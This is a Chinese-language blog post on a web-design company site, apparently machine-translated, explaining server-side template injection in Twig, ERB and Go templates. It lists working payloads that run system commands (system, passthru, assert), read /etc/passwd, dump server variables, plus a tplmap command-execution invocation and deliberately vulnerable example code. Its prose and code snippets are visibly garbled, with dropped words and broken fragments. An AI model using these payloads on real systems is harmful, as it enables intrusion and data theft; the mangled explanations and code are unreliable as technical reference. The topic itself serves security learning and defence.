宿迁腾云网络网站建设公司

腾云网络 六年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • SEO优化
    • APP开发
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入

php代码注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(图)php代码注入

2022-04-27

SSTI简介

MVC

MVC是一种框架模式,全称是View。

即模型()-视图(视图)-控制器()

在MVC指导下的开发中,采用业务逻辑、数据、界面展示分离的方式组织代码,将业务逻辑聚合成一个组件。在改进和定制界面和用户交互的同时php代码注入漏洞,更具有良好的开发和维护效率。

在MVC框架中,通过View接收用户的输入,交出,然后通过调用或者其他的方式处理,最后返回给View,这样最终展现在我们面前,那么这里的View将广泛使用一种称为模板的技术。

绕过服务器接收用户的恶意输入后,作为Web应用程序模板内容的一部分,不做任何处理,模板引擎执行用户插入的模板,可以在执行过程中破坏模板目标编译和渲染过程。语句,会导致敏感信息泄露、代码执行等。

虽然市场上关于SSTI的大部分问题都在上面,但请不要以为这种攻击方式只存在于.无论在何处使用模板,都可能出现 SSTI 问题。 SSTI 不属于任何一种语言。

常见的模板引擎和注入漏洞

树枝(PHP)

首先介绍带有Twig模板引擎的SSTI。很多情况下,SSTI发生在用户输入直接作为模板的时候,比如下面的代码

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();

注入$_GET['name']时,会触发SSTI

下面的代码没有,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));

对于模板引擎的使用,经常会使用模板中的一些方法来达到攻击的目的,比如Twig中的 map

一个经典的例子

{{["man"]|map((arg)=>" #{arg}")}}

会这样编译

([0 => "id"], ($) 使用 ($, $) { $["arg"] = $; (" " . ($["arg"] ?? null))

p>

关于这个,源码是这样的

可以看到传入的$是作为函数执行的,所以不用传递,直接传递一个字符串,找到一个带两个参数的危险函数,可以通过命令执行

例如

{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}

同样的,我们也可以找到一些其他的过滤器排序,网上也有介绍,不再赘述。

当然,SSTI 也有一个基本的方法来使用它来泄漏源代码和程序环境中的上下文信息。在Twig引擎中网站模板,我们可以通过以下方法获取当前应用的一些信息

{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

ERB(红宝石)

相比Twig,ERB的代码直接提供了一些命令执行接口,比如

<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

这里主要是介绍一些模板标签的分类

例如这里使用ERB模板标签,Twig使用{{}}。根据一些简单的poc和tag分类,我们可以快速识别出是否存在模板漏洞以及使用的模板引擎技术

当然有些模板引擎标签是可以自定义的,上面列出的只是默认的

SSTI

关于 SSTI 的研究仍然相对较少网站制作,可能是因为它被设计为更安全。

但是通过 {{.}} 我们可以得到范围

如下例所示

package main
import (
    "html/template"
    "net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
    //var name = ""
    r.ParseForm() // Parses the request body
    x := r.Form.Get("name")
    var test map[string]interface{}
    test = make(map[string]interface{})
    var secret map[string]interface{}
    secret = make(map[string]interface{})
    flag := "flag{testflag}"
    secret["flag"] = &flag
    test["secret"] = secret
    var tmpl = `
First name:

` + x + `

` t := template.New("main") //name of the template is main t, _ = t.Parse(tmpl) // parsing of template string t.Execute(w, test) } func main() { server := http.Server{ Addr: "0.0.0.0:5090", } http.HandleFunc("/", handler) server.ListenAndServe() }

可以获取范围对象

进一步拿到flag

即使作用域内有可利用的函数,我们也可以调用该函数来完成攻击php代码注入漏洞,比如

type User struct {
    ID       int
    Email    string
    Password string
}
func (u User) System(test string) string {
    out, _ := exec.Command(test).CombinedOutput()
    return string(out)
}

有

/

这个引擎应该出镜率最高,能写很多东西。限于篇幅,具体内容将记录在(下)中。

常用检测工具

工具地址:

符合设计风格,直接拍就行了

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

总结

SSTI 是 MVC 架构中常见的问题类型。除了本文介绍的几个引擎外,还有很多受影响的引擎,例如 .这个问题主要是开发者直接将用户输入作为模板交给模板引擎渲染造成的。将用户输入绑定到模板的参数可以缓解这个问题。通过SSTI,我们往往可以获取程序运行的上下文,甚至可以利用模板引擎的内置方法完成远程代码注入等高危攻击。

我整理了有关网络安全的学习资料和指导书

Tag: twig php模板引擎 php
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

热推

  • php网站集成支付宝接口开发者在线课程首发!中文免费在线资源助你提升开发技能(图)php网站支付宝接口
  • 四种主流PHP框架的优缺点概述
  • PHP()函数字符编码转换的问题讲解更新时间:2019年03月22日
  • 如何开发PHP扩展离我们并不远?|?
  • 高性能即时通讯技术(或者说互联网)并发连接问题的解决思路
  • 怎么修改HTML标签属性下一篇:继承的6种方法是什么
  • php网站源码快速开发语言开发商城系统优势:java开发的优势php快速开发工具箱
  • 中小型“阳光512电脑灯控台”的功能特点与操作方法
  • php商城网站毕业论文南京宇凡软件(宇凡云)寻找灵感,确定主题 商城网站源码php
  • php语言培训学校如何选择一家靠谱的培训机构?-学PHP需不需要报培训班asp语言改php

相关

php版本PHP语言基于.x+Vue+等框架精心打造的前后端

站群系统开源 php腾讯云开源业界首个云原生标准的一站式微服

站群系统开源 php腾讯云开源业界首个云原生标准的一站式微服

php 开源轻博客系统学习的原因百度百科优缺点介绍下载5.4

php 开源轻博客系统学习的原因百度百科优缺点介绍下载5.4

php 开源轻博客系统腾讯云轻量服务器应用镜像,一键部署所需

php 开源轻博客系统腾讯云轻量服务器应用镜像,一键部署所需

免费php开源企业网站PHP开发技术具备成熟开源代码及模板W

php web和android开发入门与实践谷歌产品经理发布

如何用php开发网站推荐PHP初学者选择第一个框架,学习资料

免费php开源企业网站2.参考教程:宝塔面板安装和搭建个人网

免费php开源企业网站通常一个建站公司帮助客户建站的这些公司

免费php开源企业网站通常一个建站公司帮助客户建站的这些公司

简单php论坛开发免费采集插件怎么安装?站长必备采集工具(组

标签

seo(604) 市场营销(349) 网站(261) 搜索引擎(253) 网站建设(232) 编程语言(206) 网站制作(205) PHP(183) 建站(126) 关键词排名优化(120) 优化(105) 网站建设公司(97) seo排名(87) 软件(81) 科技(80) 外链(78) 域名(65) 网站关键词(58) 搜索引擎优化(54) 电子商务(53) 网站排名优化(51) 网站排名(50) 域名服务器(47) 网站优化(43) 开发(39) seo培训(39) 时政(39) 搜索引擎收录(39) 引擎(39) 关键(38) 网站设计(38) 移动互联网(37) 百度(37) 框架(36) 排名优化(35) 开发框架(35) 网站建设方案(34) 网站分析(32) 源码(31) 开放源代码(30) 前端开发(27) 应用(26) 百度优化(26) 政府(25) 流量(24) 网站服务器(24) 网站权重(24) 联网(23) 域名结构(23) 网站建设知识(23)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2022 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们